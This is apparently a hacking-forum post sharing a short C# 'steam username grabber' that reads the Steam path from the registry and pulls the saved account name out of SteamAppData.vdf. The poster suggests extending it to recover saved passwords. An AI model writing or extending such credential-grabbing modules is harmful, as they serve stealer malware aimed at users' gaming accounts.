Hyperion
Founder
A quick, semi pointless snip of a steam username grabber. Looks in registry.. could probably make it return a saved password
References:
Code:
References:
Code:
using System;
using Microsoft.VisualBasic.Devices;
Code:
Code:
class ModuleSteam
{
public static string getsname()
{
Computer comp = new Computer();
string spath = (string)comp.Registry.GetValue("HKEY_CURRENT_USER\\SOFTWARE\\Valve\\Steam", "SteamPath", "");
string confpath = spath + "\\config\\SteamAppData.vdf";
string[] suser = comp.FileSystem.ReadAllText(confpath).Split(new string[] { "''" }, StringSplitOptions.None);
if (suser[9] != "")
{
suser[9] = suser[9];
return suser[9];
}
else
return "No Steam Found";
}
}